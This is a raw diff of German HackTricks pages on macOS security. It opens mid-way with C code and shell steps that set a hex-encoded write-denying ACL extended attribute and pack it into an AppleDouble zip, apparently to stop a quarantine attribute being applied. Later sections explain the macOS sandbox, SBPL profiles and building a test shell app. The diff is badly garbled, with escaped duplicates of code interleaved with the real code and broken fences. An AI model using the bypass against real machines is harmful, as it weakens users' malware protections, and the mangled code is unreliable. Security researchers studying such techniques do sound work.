ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a
````
```
<details>
<summary>Code von get_acls</summary>
@ -61,47 +67,103 @@ acl_free(acl);
acl_free(acl_text);
return 0;
}
````
\`\`\`bash # Lets add the xattr com.apple.xxx.xxxx with the acls mkdir start mkdir start/protected ./set\_xattr start/protected echo something > start/protected/something \`\`\`
```
</details>
```bash
# Lets add the xattr com.apple.xxx.xxxx with the acls
mkdir start
mkdir start/protected
./set_xattr start/protected
echo something > start/protected/something
```
<details>
<summary>Code von set_xattr</summary>
```c
// gcc -o set_xattr set_xattr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/xattr.h>
#include <sys/acl.h>
\`\`\`c // gcc -o set\_xattr set\_xattr.c #include #include #include #include #include
void print\_xattrs(const char \*filepath) { ssize\_t buflen = listxattr(filepath, NULL, 0, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); return; }
void print_xattrs(const char *filepath) {
ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW);
if (buflen < 0) {
perror("listxattr");
return;
}
char \*buf = malloc(buflen); if (buf == NULL) { perror("malloc"); return; }
char *buf = malloc(buflen);
if (buf == NULL) {
perror("malloc");
return;
}
buflen = listxattr(filepath, buf, buflen, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); free(buf); return; }
buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW);
if (buflen < 0) {
perror("listxattr");
free(buf);
return;
}
printf("All current extended attributes for %s:\n", filepath); for (char \*name = buf; name < buf + buflen; name += strlen(name) + 1) { printf("%s: ", name); ssize\_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); continue; }
printf("All current extended attributes for %s:\n", filepath);
for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) {
printf("%s: ", name);
ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW);
if (valuelen < 0) {
perror("getxattr");
continue;
}
char \*value = malloc(valuelen + 1); if (value == NULL) { perror("malloc"); continue; }
char *value = malloc(valuelen + 1);
if (value == NULL) {
perror("malloc");
continue;
}
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); free(value); continue; }
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW);
if (valuelen < 0) {
perror("getxattr");
free(value);
continue;
}
value\[valuelen] = '\0'; // Null-terminate the value printf("%s\n", value); free(value); }
value[valuelen] = '\0'; // Null-terminate the value
printf("%s\n", value);
free(value);
}
free(buf); }
free(buf);
}
int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; }
const char \*hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; const char \*filepath = argv\[1];
int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <filepath>\n", argv[0]);
return 1;
}
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); if (result == 0) { printf("Extended attribute set successfully.\n\n"); } else { perror("setxattr"); return 1; }
const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a";
const char *filepath = argv[1];
print\_xattrs(filepath);
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0);
if (result == 0) {
printf("Extended attribute set successfully.\n\n");
} else {
perror("setxattr");
return 1;
}
return 0; }
print_xattrs(filepath);
````
<details>
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
return 0;
}
```
</details>
{% code overflow="wrap" %}
```bash
# Create appledoublefile with the xattr entitlement
ditto -c -k start protected.zip
@ -115,10 +177,24 @@ rm -rf protected.zip
zip -r protected.zip protected ._protected
rm -rf protected
rm ._*
````
```
{% endcode %}
```bash
# Check if it worked
ditto -x -k --rsrc protected.zip .
xattr -l protected
```
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
\`\`\`bash # Check if it worked ditto -x -k --rsrc protected.zip . xattr -l protected \`\`\`
<details>
<summary>Unterstütze HackTricks</summary>
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -1,35 +1,36 @@
# macOS Sandbox
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories** senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Grundlegende Informationen
## Grundinformationen
Der macOS Sandbox (ursprünglich Seatbelt genannt) **beschränkt Anwendungen**, die innerhalb der Sandbox ausgeführt werden, auf die in dem Sandbox-Profil festgelegten zulässigen Aktionen. Dadurch wird sichergestellt, dass **die Anwendung nur auf erwartete Ressourcen zugreift**.
MacOS Sandbox (anfangs Seatbelt genannt) **beschränkt Anwendungen**, die innerhalb des Sandboxes ausgeführt werden, auf die **erlaubten Aktionen, die im Sandbox-Profil** festgelegt sind, mit dem die App ausgeführt wird. Dies hilft sicherzustellen, dass **die Anwendung nur auf erwartete Ressourcen zugreift**.
Jede App mit der **Berechtigung** **`com.apple.security.app-sandbox`** wird innerhalb der Sandbox ausgeführt. **Apple-Binärdateien** werden normalerweise innerhalb einer Sandbox ausgeführt und um sie im **App Store** zu veröffentlichen, ist diese Berechtigung **obligatorisch**. Daher werden die meisten Anwendungen innerhalb der Sandbox ausgeführt.
Jede App mit der **Berechtigung** **`com.apple.security.app-sandbox`** wird innerhalb des Sandboxes ausgeführt. **Apple-Binärdateien** werden normalerweise innerhalb eines Sandboxes ausgeführt, und um im **App Store** veröffentlicht zu werden, ist **diese Berechtigung obligatorisch**. Daher werden die meisten Anwendungen innerhalb des Sandboxes ausgeführt.
Um zu kontrollieren, was ein Prozess tun kann oder nicht, hat die Sandbox **Hooks** in allen **Syscalls** im Kernel. **Abhängig** von den **Berechtigungen** der App erlaubt die Sandbox bestimmte Aktionen.
Um zu kontrollieren, was ein Prozess tun oder nicht tun kann, hat der **Sandbox Hooks** in allen **Syscalls** im Kernel. **Abhängig** von den **Berechtigungen** der App wird der Sandbox bestimmte Aktionen **erlauben**.
Einige wichtige Komponenten der Sandbox sind:
Einige wichtige Komponenten des Sandboxes sind:
* Die **Kernel-Erweiterung** `/System/Library/Extensions/Sandbox.kext`
* Das **private Framework** `/System/Library/PrivateFrameworks/AppSandbox.framework`
* Ein **Daemon**, der in Userland läuft `/usr/libexec/sandboxd`
* Ein **Daemon**, der im Userland läuft `/usr/libexec/sandboxd`
* Die **Container** `~/Library/Containers`
Im Ordner "Containers" finden Sie **einen Ordner für jede in der Sandbox ausgeführte App** mit dem Namen der Bundle-ID:
Im Container-Ordner finden Sie **einen Ordner für jede App, die sandboxed ausgeführt wird**, mit dem Namen der Bundle-ID:
```bash
ls -l ~/Library/Containers
total 0
@ -40,7 +41,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings
drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler
[...]
```
In jedem Bundle-ID-Ordner finden Sie die **plist** und das **Datenverzeichnis** der App:
Innerhalb jedes Bundle-ID-Ordners finden Sie die **plist** und das **Datenverzeichnis** der App:
```bash
cd /Users/username/Library/Containers/com.apple.Safari
ls -la
@ -64,7 +65,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData
drwx------ 2 username staff 64 Mar 24 18:02 tmp
```
{% hint style="danger" %}
Beachten Sie, dass selbst wenn die symbolischen Links vorhanden sind, um aus dem Sandbox auszubrechen und auf andere Ordner zuzugreifen, die App immer noch **Berechtigungen haben muss**, um auf sie zuzugreifen. Diese Berechtigungen befinden sich in der **`.plist`**.
Beachten Sie, dass selbst wenn die Symlinks vorhanden sind, um aus dem Sandbox zu "entkommen" und auf andere Ordner zuzugreifen, die App dennoch **Berechtigungen haben muss**, um auf sie zuzugreifen. Diese Berechtigungen befinden sich in der **`.plist`**.
{% endhint %}
```bash
# Get permissions
@ -114,12 +115,12 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
[...]
```
{% hint style="warning" %}
Alles, was von einer Sandbox-Anwendung erstellt/geändert wird, erhält das **Quarantäneattribut**. Dadurch wird verhindert, dass eine Sandbox-Umgebung ausgelöst wird, wenn die Sandbox-App versucht, etwas mit **`open`** auszuführen.
Alles, was von einer Sandbox-Anwendung erstellt/modified wird, erhält das **Quarantäneattribut**. Dies wird einen Sandbox-Raum verhindern, indem Gatekeeper ausgelöst wird, wenn die Sandbox-App versucht, etwas mit **`open`** auszuführen.
{% endhint %}
### Sandbox-Profile
Die Sandbox-Profile sind Konfigurationsdateien, die angeben, was in dieser **Sandbox** **erlaubt/verboten** ist. Es verwendet die **Sandbox Profile Language (SBPL)**, die die [**Scheme**](https://de.wikipedia.org/wiki/Scheme)-Programmiersprache verwendet.
Die Sandbox-Profile sind Konfigurationsdateien, die angeben, was in dieser **Sandbox** **erlaubt/verboten** ist. Es verwendet die **Sandbox Profile Language (SBPL)**, die die [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) Programmiersprache nutzt.
Hier finden Sie ein Beispiel:
```scheme
@ -143,34 +144,25 @@ Hier finden Sie ein Beispiel:
Überprüfen Sie diese [**Forschung**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **um weitere Aktionen zu überprüfen, die erlaubt oder verweigert werden könnten.**
{% endhint %}
Wichtige **Systemdienste** laufen auch in ihrer eigenen benutzerdefinierten **Sandbox**, wie z.B. der Dienst `mdnsresponder`. Sie können diese benutzerdefinierten **Sandbox-Profile** anzeigen unter:
Wichtige **Systemdienste** laufen ebenfalls in ihrem eigenen benutzerdefinierten **Sandbox**, wie der Dienst `mdnsresponder`. Sie können diese benutzerdefinierten **Sandbox-Profile** einsehen in:
* **`/usr/share/sandbox`**
* **`/System/Library/Sandbox/Profiles`**&#x20;
* Weitere Sandbox-Profile können unter [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles) überprüft werden.
* Andere Sandbox-Profile können unter [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles) überprüft werden.
**App Store**-Apps verwenden das Profil **`/System/Library/Sandbox/Profiles/application.sb`**. In diesem Profil können Sie überprüfen, wie Berechtigungen wie **`com.apple.security.network.server`** einem Prozess die Nutzung des Netzwerks ermöglichen.
**App Store**-Apps verwenden das **Profil** **`/System/Library/Sandbox/Profiles/application.sb`**. Sie können in diesem Profil überprüfen, wie Berechtigungen wie **`com.apple.security.network.server`** einem Prozess erlauben, das Netzwerk zu nutzen.
SIP ist ein Sandbox-Profil namens platform\_profile in /System/Library/Sandbox/rootless.conf
SIP ist ein Sandbox-Profil, das in /System/Library/Sandbox/rootless.conf als platform\_profile bezeichnet wird.
### Beispiele für Sandbox-Profile
### Sandbox-Profilbeispiele
Um eine Anwendung mit einem **spezifischen Sandbox-Profil** zu starten, können Sie verwenden:
```bash
sandbox-exec -f example.sb /Path/To/The/Application
```
{% tabs %}
{% tab title="touch" %}
{% code title="touch.sb" %}
```
(version 1)
(deny default)
(allow file-read-metadata)
(allow file-write-metadata)
(allow file-read-data (literal "/path/to/file"))
(allow file-write-data (literal "/path/to/file"))
```
Dieses Sandbox-Profil erlaubt das Lesen und Schreiben von Metadaten und Daten für die Datei "/path/to/file". Alle anderen Aktionen sind standardmäßig verboten.
```scheme
(version 1)
(deny default)
@ -203,6 +195,8 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
; 2023-05-26 13:44:59.840050+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) sysctl-read kern.bootargs
; 2023-05-26 13:44:59.840061+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-data /
```
{% endcode %}
{% code title="touch3.sb" %}
```scheme
(version 1)
@ -217,10 +211,10 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
{% endtabs %}
{% hint style="info" %}
Beachten Sie, dass die von Apple entwickelte Software, die auf Windows läuft, keine zusätzlichen Sicherheitsvorkehrungen wie Anwendungssandboxing hat.
Beachten Sie, dass die **von Apple verfasste** **Software**, die auf **Windows** läuft, **keine zusätzlichen Sicherheitsvorkehrungen** hat, wie z.B. die Anwendungssandbox.
{% endhint %}
Beispiel für Umgehungen:
Beispiele für Umgehungen:
* [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (sie können Dateien außerhalb der Sandbox schreiben, deren Name mit `~$` beginnt).
@ -229,17 +223,17 @@ Beispiel für Umgehungen:
macOS speichert System-Sandbox-Profile an zwei Orten: **/usr/share/sandbox/** und **/System/Library/Sandbox/Profiles**.
Und wenn eine Drittanbieteranwendung die Berechtigung _**com.apple.security.app-sandbox**_ hat, wendet das System das Profil **/System/Library/Sandbox/Profiles/application.sb** auf diesen Prozess an.
Und wenn eine Drittanbieteranwendung das _**com.apple.security.app-sandbox**_ Recht hat, wendet das System das **/System/Library/Sandbox/Profiles/application.sb** Profil auf diesen Prozess an.
### **iOS Sandbox-Profil**
Das Standardprofil heißt **container** und wir haben keine textuelle Darstellung des SBPL. Im Speicher wird diese Sandbox als Allow/Deny-Baum für jede Berechtigung aus der Sandbox dargestellt.
Das Standardprofil heißt **container** und wir haben keine SBPL-Textdarstellung. Im Speicher wird diese Sandbox als Erlauben/Verweigern-Binärbaum für jede Berechtigung aus der Sandbox dargestellt.
### Debuggen und Umgehen der Sandbox
### Debuggen & Umgehen der Sandbox
Auf macOS, im Gegensatz zu iOS, wo Prozesse von Anfang an vom Kernel in einer Sandbox ausgeführt werden, **müssen Prozesse sich selbst für die Sandbox entscheiden**. Das bedeutet, dass auf macOS ein Prozess nicht durch die Sandbox eingeschränkt ist, bis er aktiv beschließt, in sie einzutreten.
Auf macOS, im Gegensatz zu iOS, wo Prozesse von Anfang an durch den Kernel in einer Sandbox laufen, **müssen Prozesse selbst in die Sandbox eintreten**. Das bedeutet, dass ein Prozess auf macOS nicht durch die Sandbox eingeschränkt ist, bis er aktiv entscheidet, sie zu betreten.
Prozesse werden automatisch in der Benutzerland-Sandbox ausgeführt, wenn sie die Berechtigung `com.apple.security.app-sandbox` haben. Für eine ausführliche Erklärung dieses Prozesses siehe:
Prozesse werden automatisch aus dem Userland in die Sandbox gesetzt, wenn sie starten, wenn sie das Recht `com.apple.security.app-sandbox` haben. Für eine detaillierte Erklärung dieses Prozesses siehe:
{% content-ref url="macos-sandbox-debug-and-bypass/" %}
[macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/)
@ -247,7 +241,7 @@ Prozesse werden automatisch in der Benutzerland-Sandbox ausgeführt, wenn sie di
### **Überprüfen der PID-Berechtigungen**
[**Gemäß diesem**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s) Video kann **`sandbox_check`** (es handelt sich um einen `__mac_syscall`) überprüfen, ob eine Operation in einer bestimmten PID von der Sandbox erlaubt ist oder nicht.
[**Laut diesem**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s) kann der **`sandbox_check`** (es ist ein `__mac_syscall`), überprüfen, **ob eine Operation erlaubt ist oder nicht** durch die Sandbox in einer bestimmten PID.
Das [**Tool sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) kann überprüfen, ob eine PID eine bestimmte Aktion ausführen kann:
```bash
@ -256,9 +250,9 @@ sbtool <pid> file /tmp #Check file access
sbtool <pid> inspect #Gives you an explaination of the sandbox profile
sbtool <pid> all
```
### Benutzerdefinierte SBPL in App Store Apps
### Benutzerdefinierte SBPL in App Store-Apps
Es könnte für Unternehmen möglich sein, ihre Apps mit benutzerdefinierten Sandbox-Profilen (anstatt mit dem Standardprofil) auszuführen. Sie müssen die Berechtigung **`com.apple.security.temporary-exception.sbpl`** verwenden, die von Apple autorisiert werden muss.
Es könnte für Unternehmen möglich sein, ihre Apps **mit benutzerdefinierten Sandbox-Profilen** (anstatt mit dem Standardprofil) auszuführen. Sie müssen die Berechtigung **`com.apple.security.temporary-exception.sbpl`** verwenden, die von Apple genehmigt werden muss.
Es ist möglich, die Definition dieser Berechtigung in **`/System/Library/Sandbox/Profiles/application.sb:`** zu überprüfen.
```scheme
@ -268,18 +262,19 @@ Es ist möglich, die Definition dieser Berechtigung in **`/System/Library/Sandbo
(let* ((port (open-input-string string)) (sbpl (read port)))
(with-transparent-redirection (eval sbpl)))))
```
Dies wird den String nach dieser Berechtigung als Sandbox-Profil **auswerten**.
Dies wird den **String nach diesem Berechtigungsnachweis** als Sandbox-Profil **eval**.
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstütze HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# macOS Default Sandbox Debug
# macOS Standard Sandbox Debug
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
Auf dieser Seite finden Sie Informationen zur Erstellung einer App, um beliebige Befehle innerhalb der standardmäßigen macOS-Sandbox auszuführen:
Auf dieser Seite erfahren Sie, wie Sie eine App erstellen, um beliebige Befehle aus dem Standard-macOS-Sandbox auszuführen:
1. Kompilieren Sie die Anwendung:
@ -50,10 +51,9 @@ return 0;
```
{% endcode %}
Kompilieren Sie es, indem Sie `clang -framework Foundation -o SandboxedShellApp main.m` ausführen.
Kompilieren Sie es mit: `clang -framework Foundation -o SandboxedShellApp main.m`
2. Erstellen Sie das `.app`-Bundle
```bash
mkdir -p SandboxedShellApp.app/Contents/MacOS
mv SandboxedShellApp SandboxedShellApp.app/Contents/MacOS/
@ -75,11 +75,10 @@ cat << EOF > SandboxedShellApp.app/Contents/Info.plist
</plist>
EOF
```
3. Definieren Sie die Berechtigungen
{% tabs %}
{% tab title="undefined" %}
{% tab title="sandbox" %}
```bash
cat << EOF > entitlements.plist
<?xml version="1.0" encoding="UTF-8"?>
@ -112,8 +111,7 @@ EOF
{% endtab %}
{% endtabs %}
4. Signiere die App (du musst ein Zertifikat im Schlüsselbund erstellen)
4. Signieren Sie die App (Sie müssen ein Zertifikat im Schlüsselbund erstellen)
```bash
codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app
./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp
@ -121,17 +119,17 @@ codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.a
# An d in case you need this in the future
codesign --remove-signature SandboxedShellApp.app
```
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
